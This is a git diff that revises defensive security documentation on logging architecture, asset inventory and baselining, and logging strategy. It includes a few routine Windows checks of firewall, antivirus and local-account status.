Network Security Monitoring_ - PG. 61 +Detection engineering, SIEM rules, Sigma, and alert use cases live under Blue Defense. -## **Logging Data Types** +{% content-ref url="../blue-defense/event-detection/" %} +[event-detection](../blue-defense/event-detection/) +{% endcontent-ref %} -Before getting into the logging architecture, we need to define the various logging data types. These are the different forms of the data we use for Network Security Monitoring. +## Logging Guides -* **Packet Capture** - A complete record of every packet traveling back and forth, with all available metadata and transaction data. This is the most detailed form of data used for monitoring, but comes with an incredible storage cost. -* **Session Data** - Also called flow data, this is a summarized version of the target traffic that provides a significantly more flexible form for storage, while sacrificing content. -* **Statistical Data** - Various metrics and summary of data points found in network traffic. Variable per use case. -* **Packet String Data (PSTR)** - An intermediate form of capture between full Packet Capture and Session data. Contains specified strings from the captured traffic such as clear text protocol headers. -* **Log Data** - Raw log files generated from devices and applications. -* **Alert Data** - A specific event log generated from a detection device that can report anomalies or specific traffic patterns. +* [OWASP Logging Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html) +* [OWASP Logging Vocabulary Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Vocabulary_Cheat_Sheet.html) +* [Neo23x0 Auditd](https://github.com/Neo23x0/auditd) - Best-practice Linux auditd configuration. +* [JSCU-NL Logging Essentials](https://github.com/JSCU-NL/logging-essentials) - Windows event logging and collection baseline focused on balancing forensic value and retention. +* _Applied Network Security Monitoring_: Setting up Network Sensors, pg. 49; Sensor Placement, pg. 61. + +Network hardening articles and unwanted-traffic reduction guidance belong with network detection use cases. + +{% content-ref url="../blue-defense/event-detection/detection-use-cases/general-network-traffic.md" %} +[general-network-traffic.md](../blue-defense/event-detection/detection-use-cases/general-network-traffic.md) +{% endcontent-ref %} + +## Logging Data Types + +* **Packet Capture** - Complete packet-level record. It is the richest network evidence, but storage cost is high. +* **Session / Flow Data** - Summarized connection metadata such as source, destination, ports, protocol, bytes, and timestamps. +* **Statistical Data** - Metrics and summaries derived from logs or traffic. +* **Packet String Data (PSTR)** - Selected strings extracted from network traffic, such as cleartext protocol headers or URLs. +* **Log Data** - Raw events generated by systems, applications, devices, cloud platforms, and services. +* **Alert Data** - Events produced by detection tools or correlation logic. + +Packet capture and NFAT tooling are maintained on the Packet Analysis page. + +{% content-ref url="../blue-defense/packet-analysis.md" %} +[packet-analysis.md](../blue-defense/packet-analysis.md) +{% endcontent-ref %} + +## Section Map + +{% content-ref url="how-to-log.md" %} +[how-to-log.md](how-to-log.md) +{% endcontent-ref %} + +{% content-ref url="logging-guide-network-services.md" %} +[logging-guide-network-services.md](logging-guide-network-services.md) +{% endcontent-ref %} + +{% content-ref url="logging-guide-windows-endpoint-logs.md" %} +[logging-guide-windows-endpoint-logs.md](logging-guide-windows-endpoint-logs.md) +{% endcontent-ref %} + +{% content-ref url="logging-cloud.md" %} +[logging-cloud.md](logging-cloud.md) +{% endcontent-ref %} + +{% content-ref url="device-discovery-and-asset-inventory.md" %} +[device-discovery-and-asset-inventory.md](device-discovery-and-asset-inventory.md) +{% endcontent-ref %} + +{% content-ref url="log-source-evaluation.md" %} +[log-source-evaluation.md](log-source-evaluation.md) +{% endcontent-ref %} + +{% content-ref url="logging-user-behavior-monitoring.md" %} +[logging-user-behavior-monitoring.md](logging-user-behavior-monitoring.md) +{% endcontent-ref %} ## Logging System Components -The core components of most security monitoring programs is the Security Information and Event Management system (SIEM) and the logs that support it. The architecture behind the SIEM has many components that make up the security logging ecosystem. - -### **Log Collector** - The tools that gather up the logs. - -* **Log Agents -** Applications that can be installed on devices to collect generated logs as well as perform a huge amount of other functions including: parsing, diode support, filtering, rate control, log rotation, log buffering, encryption, priority routing, file/registry monitoring, and even alerting. - * A well configured agent will perform better than an agentless solution as remote authentication is not required. - * Standard SIEM Agents - Agents that are paired with their premium SIEM products have easier integration, but will often have less features than their open-source alternatives, as well as usually lack filtering capabilities at the agent. - * [Splunk Universal Forwarder](https://www.splunk.com/en\_us/download/universal-forwarder.html) - * [ArcSight Connectors](https://www.ndm.net/siem/arcsight/arcsight-connectors) - * [QRadar WinCollect](https://www.ibm.com/docs/en/qradar-on-cloud?topic=wincollect-overview) - * [LogRhythm System Monitor Service](https://logrhythm.com/products/features/collection-technology/) - * Open Source Agents - Feature rich, premium support available, and free. - * [Elastic Beats](https://www.elastic.co/beats/) - Fantastic log collection agents that specialize in certain types of logs. - * Log Collection Agents focus on logs for: File integrity monitoring, Windows Events, Packet monitoring, OS metrics, Cloud infrastructure, Audit data, and device health monitoring. - * Can get complicated managing so many different agents. - * _Threat Hunting in Elastic Stack: Filebeat - pg. 55_ - * _Threat Hunting in Elastic Stack: Packetbeat - pg. 60_ - * _Threat Hunting in Elastic Stack: Winlogbeat - pg. 63_ - * _Threat Hunting in Elastic Stack: ElasticAgent - pg. 65_ - * [NXLog](https://nxlog.co/) - Amazing agent with both a Community and Enterprise (Premium) editions. - * Free version has more features than many premium agents. - * Has premium support available. - * Supports tons of log formats including W3C logs, the log format of IIS, Exchange, and Bro/Zeek - * For endpoints, can be installed on both Windows and Linux and have its log output in the same format. - * Configuration Sections - * Input - defines what logs to monitor for collection - * Output - sets where logs should go and which protocol is used - * Route - maps inputs and outputs - * Extension Modules - converts between formats - * [NXLog-Autoconfig](https://github.com/SMAPPER/NXLog-AutoConfig) - With no customisation, the script will install Sysmon with the [SwiftOnSecurity](https://github.com/SwiftOnSecurity/sysmon-config) config, generate a NXLog config to start pulling the Sysmon and Windows Security events. -* ****[**Syslog**](https://datatracker.ietf.org/doc/html/rfc5424) - Port 514. The most common protocol for logging. Can be TCP or UDP and can also be encrypted with TLS. Widely supported on most devices with the exception of Windows, which requires a third party agent. - * Standard fields include: Time, Source, Facility, Severity, and Message. - * Can also have a priority field associated with the log, calculated as Facilty(0-23) x 8 + severity (0-7) - * Limitations: Size of logging packet is important especially when certain Windows logs can be over 30,000 bytes. - * UDP - Limited to 1024 bytes, can lead to log duplication - * TCP - Limited to 4096 bytes, is slower than UDP -* [**Windows Event Forwarding**](https://github.com/palantir/windows-event-forwarding) **** - TCP Port 5985. Windows built in agent for forwarding Windows event logs, in standard EVTX format. - * Can be managed by GPO: Group Policy Objects - * Uses AD for authentication - * Uses WinRM to push/pull logs to/from an event collector - * Basic filtering, encryption, and compression - * [https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm](https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm) -* **Agentless Log Collection** - This usually involves a central server to collect logs, or a device that can natively send logs in the correct format to your SIEM. - * Can use either a push or pull method with logs often being sent over WMI or SSH. - * Easy to deploy and requires less maintenance - * Can only handle a finite number of systems and logs - * Can be a security risk with logs constantly being sent across the network and the potential requirement of the collector logging in to a device to pull the logs. - * Data Diodes - A hardware or software tool that can improve log collection security in agentless applications, by forcing a one way connection to the logging server. -* **Script Collection** - * Sometimes the only method of collection for cloud and third party apps. - * Handy for collecting baseline information and inventory - -### **Log Aggregator** - -The central collection point for your logs. This is where raw logs can be parsed and event have context added to them. - -* Splunk Heavy Forwarder - A hybrid of a powerful logging agent and Aggregator, a Heavy forwarder can both collect logs from many sources as well as parse/filter logs. -* [Nagios - The Industry Standard In IT Infrastructure Monitoring](https://www.nagios.org/) - Network logging and monitoring tool focused for network engineering. -* [Logstash ](https://github.com/elastic/logstash)- One of the most common aggregators. Built by Elastic Stack with over 200 plugins. Can be used to accept logs and convert them to other formats used by premium SIEMs - * Commercial support available - * Uses a variety of plugins to perform different features - * Can apply [tags](https://discuss.elastic.co/t/type-vs-tags/37131) to logs and data for creating categories to enhance searching - * [HASecuritySolutions/logstash](https://github.com/HASecuritySolutions/logstash) - Repo of tons of Logstash related material and configs - * [Plugins: Input](https://www.elastic.co/guide/en/logstash/current/input-plugins.html) - An input plugin enables a specific source of events to be read by Logstash. - * [Plugins: Codec](https://www.elastic.co/guide/en/logstash/current/codec-plugins.html) - A Codec plugin will allow Logstash to read and parse certain special types of logging formats - * [Plugin: stdin](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-stdin.html) - Allows for manual creation of logs - * [Plugin: File](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-file.html) - Allows the output of files to be ingested as logs. Can be used as a way to log anything that can write a log to a file. Can use wildcards to scan for files in multiple directories. - * [Plugin: jdbc](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-jdbc.html) - This plugin was created as a way to ingest data in any database with a JDBC interface into Logstash. This is handy for certain endpoint security suites that store their logs in a database. - * [Plugin: UDP](https://www.elastic.co/guide/en/logstash/current/plugins-inputs-udp.html) - The catch all plugin for logs being sent over syslog UDP 514. Can add TLS encryption to UDP streams. \*Root privileges will be required on ports under 1024.\* - * [Plugins: Output ](https://www.elastic.co/guide/en/logstash/current/plugins-outputs-elasticsearch.html)- Logstash can output to multiple different applications including [Elasticsearch](https://www.elastic.co/elasticsearch/) - * [Plugins: Filter](https://www.elastic.co/guide/en/logstash/current/filter-plugins.html) - Filtering logs by tons of different options, variables, and conditions. - * Regex - Filter by specific Regex matching - * Grok - Filter by set Regex built patterns - * [Grok Debugger](https://grokdebug.herokuapp.com/) - * Pattern - Filter by customer regex that is assigned a name. Reusable regex - * CSV - Filter by comma separated values. - * Key Value pair - * JSON - Handy for parsing and filtering IDS solutions like SNORT and Surricata that can output in JSON format - * [Plugin: Date ](https://www.elastic.co/guide/en/logstash/current/plugins-filters-date.html)- Uses [Joda-Time](http://joda-time.sourceforge.net/apidocs/org/joda/time/format/DateTimeFormat.html) (java time library) to pattern match and normalize time/date stamps. - * [Plugin: Drop](https://www.elastic.co/guide/en/logstash/current/plugins-filters-drop.html) - Used for dropping logs buy certain criteria - * Can also be used with the remove\_field filter to remove specific data fields within a log - * Plugins: Enrichment - Adding fields and contextual data. - * [GeoIP](https://www.elastic.co/guide/en/logstash/current/plugins-filters-geoip.html) - Adds location to IP address entries - * [DNS](https://www.elastic.co/guide/en/logstash/current/plugins-filters-dns.html) - Performs reverse DNS lookups - * [Fingerprint](https://www.elastic.co/guide/en/logstash/current/plugins-filters-fingerprint.html) - Takes a data field and replaces the data with a hash of the data itself. Handy for identification but not disclosure of sensitive data like PII. - * [Mutate](https://www.elastic.co/guide/en/logstash/current/plugins-filters-mutate.html) - Manipulating a field and its data. - * [Ruby](https://www.elastic.co/guide/en/logstash/current/plugins-filters-ruby.html) - For making API calls. Also for analysis of data fields like suspect length. - -### **Log Broker** - - An optional component, a log broker acts as a buffer for temporary storage of logs. It helps to store logs over regular flow capacity. Intended to help syslog devices as many agent based systems have their own internal broker-like services. - -* [Rabbitmq](https://www.rabbitmq.com/) - Easy to install, easy to use, and available for all major operating systems -* [Kafka](https://kafka.apache.org/) - High powered broker with the ability to manage high volume of events at a time. Use [Apache Zookeeper](https://kafka.apache.org/) to manage multiple Kafka nods - -### **Storage** - -Where all of your logs are stored for later use. - -* WORM - Write-Once-Read-Many. The ideal storage type for SIEM -* Typical relational database structures are not optimal as most are ACID compliant (Containing integrity checks) which is really not efficient for logging purposes. - - - -### **Search/Report** - -The component which allows the searching of parsed data and creation of reports based on intricate search queries. - -* [Elastisearch](https://www.elastic.co/elasticsearch/) - The WORM based, distributed, scalable database used for real time searching. - * Elastisearch architecture uses the concept of a shard, which is a storage partition. These shards are usually created with replicas stored in a different location for redundancy. The cool thing is that both the original shard, and the copy are available for searching, drastically increasing search speeds. Both the primary and replica shards are used to scale out. - * [Kibana](https://www.elastic.co/kibana/) - The Primary search interface for Elastisearch. - * _Threat Hunting in Elastic Stack: Using Kibana - pg. 66, 198_ - * [https://www.elastic.co/elasticon/conf/2015/sf/scaling-elasticsearch-for-production-at-verizon](https://www.elastic.co/elasticon/conf/2015/sf/scaling-elasticsearch-for-production-at-verizon)__ - * _Threat Hunting in Elastic Stack: Bringing data into Elasticseach - pg. 50_ -* [Splunk](https://www.splunk.com/) - The premium cadillaic option of searching/data mining utilities. - -### **Alert Engine** - -One of the most important components in a SIEM, the alert engine can take predefined searches and perform specific actions when those searches return results, such as create an alert. - -* [Graylog](https://www.graylog.org/) - An admin platform for Elastisearch that can be used to create easy and flexible alerting -* [ElastAlert](https://github.com/Yelp/elastalert) - A python based framework for setting up alerts within Elastisearch -* [Watcher/Kibana-Alerting](https://www.elastic.co/what-is/kibana-alerting) - Elastisearch's commercial offering for creating and managing alerts. -* [Splunk Security Essentials](https://www.splunk.com/en\_us/software/cyber-security-essentials.html) - A free app(plugin) for Splunk that comes with a small set of security search use cases and other utilties. -* [Splunk Enterprise Security](https://www.splunk.com/en\_us/software/enterprise-security.html) - Splunks premium SIEM alerting engine with a large selection of preset security alerts, deshboards, and an alert triaging panel for use in a SOC. +### Log Collectors + +Collectors gather events from endpoints, servers, network devices, cloud platforms, and applications. + +* **Log agents** - Installed on devices to collect, filter, buffer, parse, encrypt, and forward logs. + * [Splunk Universal Forwarder](https://www.splunk.com/en_us/download/universal-forwarder.html) + * [ArcSight Connectors](https://www.ndm.net/siem/arcsight/arcsight-connectors) + * [QRadar WinCollect](https://www.ibm.com/docs/en/qradar-on-cloud?topic=wincollect-overview) + * [LogRhythm System Monitor Service](https://logrhythm.com/products/features/collection-technology/) + * [Elastic Beats](https://www.elastic.co/beats/) + * [NXLog](https://nxlog.co/) +* **Syslog** - Common network and Unix logging protocol. RFC 5424 syslog can use UDP, TCP, and TLS depending on implementation and configuration. +* **Windows Event Forwarding** - Built-in Windows event forwarding through WinRM. Use Microsoft documentation for the built-in feature and the Palantir repository for a deployment model. + * [Microsoft: Use Windows Event Forwarding to help with intrusion detection](https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection) + * [Palantir Windows Event Forwarding](https://github.com/palantir/windows-event-forwarding) +* **Agentless collection** - Centralized pull or device-native push collection, often over WMI, SSH, syslog, API, or file export. +* **Scripted collection** - Useful for cloud services, SaaS platforms, inventory, and APIs that do not support standard log forwarding. + +Sysmon configuration and Sysmon-focused detection resources live on the Sysmon page. + +{% content-ref url="../blue-defense/event-detection/sysmon.md" %} +[sysmon.md](../blue-defense/event-detection/sysmon.md) +{% endcontent-ref %} + +### Log Aggregators + +Aggregators receive logs, parse them, normalize fields, enrich events, and route output. + +* **Splunk Heavy Forwarder** - Collects, parses, filters, and forwards Splunk data. +* **Logstash** - Elastic pipeline tool for ingestion, transformation, and routing. + * [Logstash input plugins](https://www.elastic.co/guide/en/logstash/current/input-plugins.html) + * [Logstash filter plugins](https://www.elastic.co/guide/en/logstash/current/filter-plugins.html) + * [Logstash output plugins](https://www.elastic.co/guide/en/logstash/current/output-plugins.html) + * [Elastic Grok Debugger](https://www.elastic.co/guide/en/kibana/current/xpack-grokdebugger.html) + * [HASecuritySolutions Logstash](https://github.com/HASecuritySolutions/logstash) +* **Nagios** - Infrastructure monitoring and alerting platform used heavily by network and systems teams. + +SIEM platforms, enrichment tools, and alerting engines are maintained in Blue Defense. + +{% content-ref url="../blue-defense/event-detection/siem-and-enrichment.md" %} +[siem-and-enrichment.md](../blue-defense/event-detection/siem-and-enrichment.md) +{% endcontent-ref %} + +### Log Brokers + +A log broker buffers events during bursts or downstream outages. + +* [RabbitMQ](https://www.rabbitmq.com/) +* [Apache Kafka](https://kafka.apache.org/) + +### Storage + +Log storage should support integrity, retention, and investigation speed. + +* **Hot storage** - Recent, frequently searched data. +* **Warm storage** - Older data that still needs reasonable search performance. +* **Cold storage** - Long-term retention for compliance, historical investigations, and rare lookbacks. +* **WORM** - Write Once, Read Many storage for tamper-resistant retention. + +### Search and Reporting + +* [Elasticsearch](https://www.elastic.co/elasticsearch/) - Distributed search and analytics engine. +* [Kibana](https://www.elastic.co/kibana/) - Elastic search, dashboard, and investigation interface. +* [Splunk](https://www.splunk.com/) - Commercial data platform and SIEM ecosystem. + +For query languages used across SIEM and log platforms, see Blue Defense Query Languages. + +{% content-ref url="../blue-defense/query-languages.md" %} +[query-languages.md](../blue-defense/query-languages.md) +{% endcontent-ref %} diff --git a/security-logging/device-discovery-and-asset-inventory.md b/security-logging/device-discovery-and-asset-inventory.md index e874316..d791b11 100644 --- a/security-logging/device-discovery-and-asset-inventory.md +++ b/security-logging/device-discovery-and-asset-inventory.md @@ -1,139 +1,132 @@ # Device Discovery and Asset Monitoring -## **“If you know the enemy and know yourself, you need not fear the result of a hundred battles." - Sun Tzu** +Asset inventory gives logs context. A source IP, process name, or username is far more useful when analysts can tie it to an owner, role, location, criticality, and expected behavior. -The first step in protecting your network from attackers is understanding it. You cannot defend what you do not know exists. [CIS Controls](https://www.cisecurity.org/controls/) list of 20 controls recommended for securing your network, has #1 and #2 all about inventorying devices and software within your environment.\ -"If an organization does not know what each asset is for, then it is not a fair expectation that a managed security service provider (MSSP) will know. If the MSSP cannot know the business context of an asset, then monitoring and protection become more and more difficult. This is an area where end users of managed services can try to better integrate with their MSSP." - SANS SEC555 +## Minimum Inventory Data -There are 2 asset layers we need to focus on for proper auditing within an environment. Below are the two layers and their minimum associated data points. (These are not exhaustive but should be the minimum known data points) +### Devices -* **Devices** - * Mac Address - * IP address - * Hostname - * Operating System - * Installed Software - * Processes - * Scripting frameworks - * Associated User -* **Users** - * Name - * Username - * Email - * Groups - * Authentication status - * Permissions - * Privileges - * Geo-locations. - * Associated workstation +* MAC address +* IP address +* Hostname +* Operating system +* Installed software +* Running processes +* Scripting frameworks +* Primary user or owner +* Business role or criticality -The methodology for collecting these will come from both active and passive network detection abilities. The following sections will detail the tools and techniques used for these. +### Users -**Active Network Detection** +* Name +* Username +* Email +* Groups +* Authentication status +* Permissions +* Privileges +* Typical workstation +* Typical location or region -Active network detection is where there is an actual interaction with the device. This can happen with port scanning or any process that has authentication to the device in order to enumerate data about the device. +## Active Discovery -Active Network Detection Sources +Active discovery interacts with the device or service. -* Network Scanners - * [NMAP ](https://nmap.org/)scanning is popular, easy, and can return a wealth of data including hostname, open ports, operating system and more. Uses a fingerprint database to identify device types, services, and the host operating system. -* Vulnerability Scanners - * Can be unauthenticated which works similar to an NMAP scan - * Can be authenticated which allows direct querying of the device and return significantly more data. - * Typically will support SNMP, SSH, and SMB by default. - * [VulnWhisperer](https://github.com/HASecuritySolutions/VulnWhisperer) - A handy script for exporting vuln scan data and importing it into Elastic Stack - * [PoshNessus](https://github.com/tenable/Posh-Nessus) - Powershell module for automating Nessus functions. -* Inventory Systems +* **Network scanners** - Nmap and similar tools can identify hosts, ports, services, and sometimes operating systems. +* **Authenticated vulnerability scanners** - Can collect software, patch, configuration, and exposure data. +* **Inventory and endpoint management systems** - Often provide the cleanest software and ownership data. +* **Cloud APIs** - Provide resource inventories, tags, owners, and configuration details. -**Passive Network detection** +Vulnerability scanning depth belongs in Red Offensive or vulnerability management pages. This page focuses on using inventory data as logging context. -Passive network detection is where there is no interaction with the device, and the data is collected from passive logs or traffic seen within the network. Much of this will require detailed internal East-West Activity. +{% content-ref url="../red-offensive/scanning-active-recon/" %} +[scanning-active-recon](../red-offensive/scanning-active-recon/) +{% endcontent-ref %} -Passive Network Detection Sources +## Passive Discovery + +Passive discovery uses logs and observed traffic. * Active Directory requests -* Zeek - * software.log file maps IP to software usage without repetitive logging. -* DHCP -* NetFlow -* Firewall -* Switch CAM Tables - * [https://github.com/HASecuritySolutions/Logstash/blob/master/scripts/CAMTableExport.ps1](https://github.com/HASecuritySolutions/Logstash/blob/master/scripts/CAMTableExport.ps1) - * OUI lookup to determine manufacturer - * Look for Invalid OUIs - * Wireshark maintains a [free OUI file](https://gitlab.com/wireshark/wireshark/raw/master/manuf) +* DHCP logs +* DNS logs +* NetFlow/IPFIX +* Firewall logs +* Zeek/Corelight logs +* Switch CAM tables * Wireless IDS -* NTP - * All corporate assets should be using an internal NTP server - * Can identify personal devices by how they request NTP from internet time servers - * time.windows.com, time.apple.com, ntp.ubuntu.com, etc. +* NTP logs + +Examples: + +* `software.log` from Zeek can map IP addresses to observed software. +* DHCP logs can tie IP addresses to MAC addresses and hostnames. +* NTP requests can reveal unmanaged personal devices if corporate assets should only use internal time servers. +* Switch CAM data can support MAC-to-port and manufacturer lookup. + +Useful resources: -**Software Monitoring** +* [HASecuritySolutions CAMTableExport](https://github.com/HASecuritySolutions/Logstash/blob/master/scripts/CAMTableExport.ps1) +* [Wireshark OUI manufacturer file](https://gitlab.com/wireshark/wireshark/raw/master/manuf) -Inventory of both software installed as well as running as a process, is critical to determining what is allowed in your environment. Especially processes. "Malware can hide, but it must run" - SANS. Once the applications and software has been inventoried, you can create a highly effective strategy for detecting anomalies by creating a process for application whitelisting. [NIST 800-167](https://www.nist.gov/publications/guide-application-whitelisting) gives a great guide on this. +## Software Monitoring -Determining what is installed can be done by leveraging the data from a few different sources. +Software inventory helps define expected applications and identify unusual software. Process inventory is even more important because malware can hide on disk, but it must execute. -* Client Management Tools -* Patch Management -* Application Control - * [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) - Free app control solution for Windows. - * Can perform blocking by Path, Hash, or Publisher. -* Process Monitoring +Sources: -For using this software inventory as a basis for detections, we can perform long tail analysis on the inventory by looking at software by count, and looking for those with the lowest count. In a large environment, installed software and running processes shouldn't differ too much between devices. +* Client management tools +* Patch management +* Application control +* EDR tools +* Process monitoring +* Log agents -**Asset Tagging** +Application allowlisting and control: -A detailed asset inventory can be more than a simple lookup for enrichment. You can built simple detections around assets that have been tagged into groups. Powershell.exe use by the system admins group? Totally expected. Powershell.exe used by an accountant? Might want to look in to that. +* [NIST SP 800-167: Guide to Application Whitelisting](https://www.nist.gov/publications/guide-application-whitelisting) +* [AppLocker](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/applocker/applocker-overview) -**Device Baseline Monitoring** +Detection and threat hunting examples that use software rarity or long-tail analysis belong in Blue Defense. -Device baselines are handy for defining "normal" configurations and acitivty, and then being able to compare them against future snapshots, looking for any significant discrepancies. +{% content-ref url="../blue-defense/threat-hunting.md" %} +[threat-hunting.md](../blue-defense/threat-hunting.md) +{% endcontent-ref %} -Creating baselines starts with collection of various data points from your devices. This can come in the form of a script or a log agent that can forward the data on to your SIEM. +## Device Baseline Monitoring -Baseline Data to capture +Baselines define normal configuration and activity so changes can be reviewed over time. -* Active Processes - * Long Tail analysis on running processes accross the environment is very effective here. -* ARP Cache - * Simple arp -a with long tail analysis can identify strange devices. Investigate one-off entries +Useful baseline data: + +* Active processes +* ARP cache * Certificates - * Filter on trusted certificates and authorities - * Alert on new entries - * Powershell - Get-ChildItem in the certificate store * Drivers -* Host Files - * Local files take precendence over DNS - * Should not change except by IT or developers - * Typically has 0 entries -* Registry Keys -* Route Table - * Check for number of gateways. There should typically one be one. There might be two if using a VPN, but no more than that. Investigate what you cannot account for. -* Scheduled Tasks -* Security Status - * Check that your Host firewalls, AV, and App control is all enabled. When should this ever be disabled? - * Get-WMIObject -namespace root\Microsoft\SecurityClient -list - * Shows AV info and status - * netsh.exe advfirewall show all profiles - * Shows Windows firewall status per profile +* Hosts file +* Registry keys +* Route table +* Scheduled tasks +* Host firewall, antivirus, and application control status * Services * Shares * Software inventory * USB devices -* Users and Groups - * Most systems are AD integrated. Local accoutns should be disabled, or at the very least be given random passwords. - * Get-WMIObject -Class Win32\_UserAccount -Filter "LocalAccount='True'" - * Can also extract the last password change to check for proper password rotation. +* Local users and groups + +Example Windows checks: + +```powershell +Get-WmiObject -Namespace root\Microsoft\SecurityClient -List +netsh.exe advfirewall show allprofiles +Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" +``` -**Baseline Tools** +## Baseline Tools -* [Log Campaign](https://github.com/HASecuritySolutions/LogCampaign) - A powershell script framework for automatically creating a device baseline. - * Logs to Windows Channel or Syslog - * Comes with built in baseline modules - * Includes a module for checking [Autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns), and areas of persistence. - * This works very well with Long Tail analysis. -* [Kansa](https://github.com/davehull/Kansa) - Designed for incident response, this tool can be used to easily create a baseline. - * Does not easily export to SIEM +* [Log Campaign](https://github.com/HASecuritySolutions/LogCampaign) - PowerShell framework for creating device baselines and logging them to Windows channels or syslog. +* [Kansa](https://github.com/davehull/Kansa) - Incident-response collection framework. Useful for baselines in labs or IR workflows, but canonical DFIR coverage belongs in DFIR. +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} diff --git a/security-logging/how-to-log.md b/security-logging/how-to-log.md index 44787d8..6b46293 100644 --- a/security-logging/how-to-log.md +++ b/security-logging/how-to-log.md @@ -1,89 +1,94 @@ -# How create a logging strategy +# How to Create a Logging Strategy -What can we say about logs? Well, logging strategies are complex with no single one-size-fits-all solution. There are many premium and open source options for all the different tools that make up a proper structure for logging. We will expound on the different strategies, but understand one very important thing: Logging is not a "there or not" technology. Logs have a quality associated with them, and with Logging, quality is ALWAYS better than quantity. +Logging is not just present or absent. Logs have quality, context, coverage, cost, and operational value. A good strategy collects enough data to support detections and investigations without drowning the team in storage costs and low-value events. -## **Logging strategy** +## Logging Strategy - Most organizations pick up a SIEM to process their security logging as a compliance requirement. Sadly, when this is the focus, it is often implemented improperly and inefficiently. This ends up costing the organization more than it should, as well as having poor security. So what should we focus on when looking to bring in logs for security monitoring? First we talk about how to collect the logs. This comes in a couple of approaches: +Most organizations start with a SIEM for compliance, then discover that collection quality matters more than raw volume. Common approaches include: -* Volume logging (input focused) - Log all the things, let the analysts sort it out. -* Selective logging (output focused) - Pick and choose what logs you want, and how you want them, and hope you didn't forget anything. +* **Volume logging** - Collect everything and tune later. +* **Selective logging** - Collect only known useful sources and fields. +* **Hybrid logging** - Start broad enough to avoid blind spots, then tune, filter, and prune based on evidence. -Honestly, the best option is a hybrid. Start with volume logging and implement a process of constant tuning and pruning. It will take more ongoing maintenance, but you will have more data you might not know you need, with out having to pay for the storage/license of logging everything. Remember, that the use of human processes and procedures will be cheaper and more effective than relying on a tool, every time.\ -When looking at tuning and pruning, one of the best approaches is to start with removing the most frequent events that you will see, as they are the least likely to have any significant security value. Many folks will say that you can reduce the volume of your logs by 80-90% and retain security value, with this simple method. +The hybrid approach usually works best. It requires maintenance, but it gives teams a way to learn what matters before they permanently discard useful evidence. -One large factor you should consider is the purpose behind the logging. This will vary greatly depending on who will be using the logs and what tasks they will need them for. Typically these will come down to three implementations. +## Logging Purpose -* Security Alerts Only - With this approach, you only log events and data fields that are directly used for generating security alerts. Short, sweet, and to the point, this option will give you the smallest overall volume if your organization has concerns about storage, or license if you use a premium SIEM. -* Security Relevant logs. - These would be all of the data you need for alerts, as well as any data that would be useful for a security investigation. Not all data can be used to generate alerts, but can still provide immense value for threat hunting and incident response scenarios. -* All Operational logs - This is common when the security team and the network operations team is working off of the same data, in the same tool. For simplicity's sake, all logs relevant to both security and network operations are logged into the platform of choice, and the respective teams parse through what is relevant to them. This is handy for larger organizations with thier own internal SOC and NOC teams, but does ingest a much larger volume of data. +Before collecting a source, decide who uses it and why. -## **What logs should you collect?** +* **Security alerts only** - Events and fields directly required for alerting. This is the smallest and cheapest option, but it has limited investigation value. +* **Security-relevant logs** - Alert data plus events useful for investigations, threat hunting, and incident response. +* **Operational logs** - Security and IT operations share the same logging platform, often with broader infrastructure and application coverage. -Relevant logs come from all types of sources, and you should never discount the power of a log that doesn't come from a security related device. Compliance is a great starting point for what logs you should collect, but compliance is ONLY a starting point. It should never be the goal. It will come down to your organization on what to prioritize, but there are a few interesting data points that can get you heading in the right direction. +Compliance can be a starting point, but it should not be the whole strategy. -When looking at what to prioritize for detection, one of the most common methods is to see what solutions and data can match to your MITRE ATT\&CK Framework coverage. While you should always look for more than simply checking a tactic or technique off of a list, it is still a great starting place when developing your strategy. I have recently taken a CSV of the Mitre attack framework and performed some statistical analysis on some of the newer data points they have added: Data Sources, and Data Objects. These new data points allow us to see what we need log in order to detect the documented techniques and sub-techniques within the frame work. Here are a few interesting statistics from my research: +## What Logs Should You Collect? -* As of writing this, Mitre has 552 techniques and sub-techniques, 80 of which by definition cannot be detected by current means. -* It defines 30 different data sources, and 99 data objects used for detection. -* 125 techniques and sub-techniques apply only to Windows Operating systems, 16 to MacOS, and 9 to Linux. All others either overlap operating systems or apply to a specific application or tool. +Use a mix of compliance requirements, incident-response needs, detection coverage, and business context. ATT&CK data sources can help identify where coverage is strong or weak, but do not treat a mapped technique as proof of real detection. -Now for the fun part: Which data source and object pairs cover the most techniques and sub-techniques +The MITRE data-source statistics below were from a previous snapshot of ATT&CK and should be treated as directional, not current counts: -| Command: Command Execution | 243 | -| ---------------------------------------- | --- | -| Process: Process Creation | 197 | -| File: File Modification | 95 | -| Network Traffic: Network Traffic Content | 89 | -| Network Traffic: Network Traffic Flow | 84 | +* Command execution and process creation were among the highest-value data objects for coverage. +* File modification, network traffic content, and network traffic flow also covered broad technique sets. +* Some techniques cannot be detected directly and require prevention, hardening, or indirect behavioral signals. -Interesting right? Almost half of the document techniques require command line logging to detect! Well if we are developing a strategy focused on technique coverage, then this is where I would start. Even better, we can use this data to prioritize not just log sources to ingest but security tools to purchase and deploy. The top three on that list are all data objects that can be collected by an EDR solution, which tells me, EDR is the first thing I should look at if I want to improve my coverage. +For deeper log-source coverage assessment, use the Log Source Evaluation page. -Log prioritization can be complex, but when all else fails, Don Murdoch, the author of the Blue Team Handbook said it best: _"If you have to make a choice, use user attributable data over all others"_ +{% content-ref url="log-source-evaluation.md" %} +[log-source-evaluation.md](log-source-evaluation.md) +{% endcontent-ref %} -For more details on my MITRE ATT\&CK analysis, please see the below PDF. +For the original analysis PDF: -{% file src="../../.gitbook/assets/mitre_data_source_analysis.pdf" %} +{% file 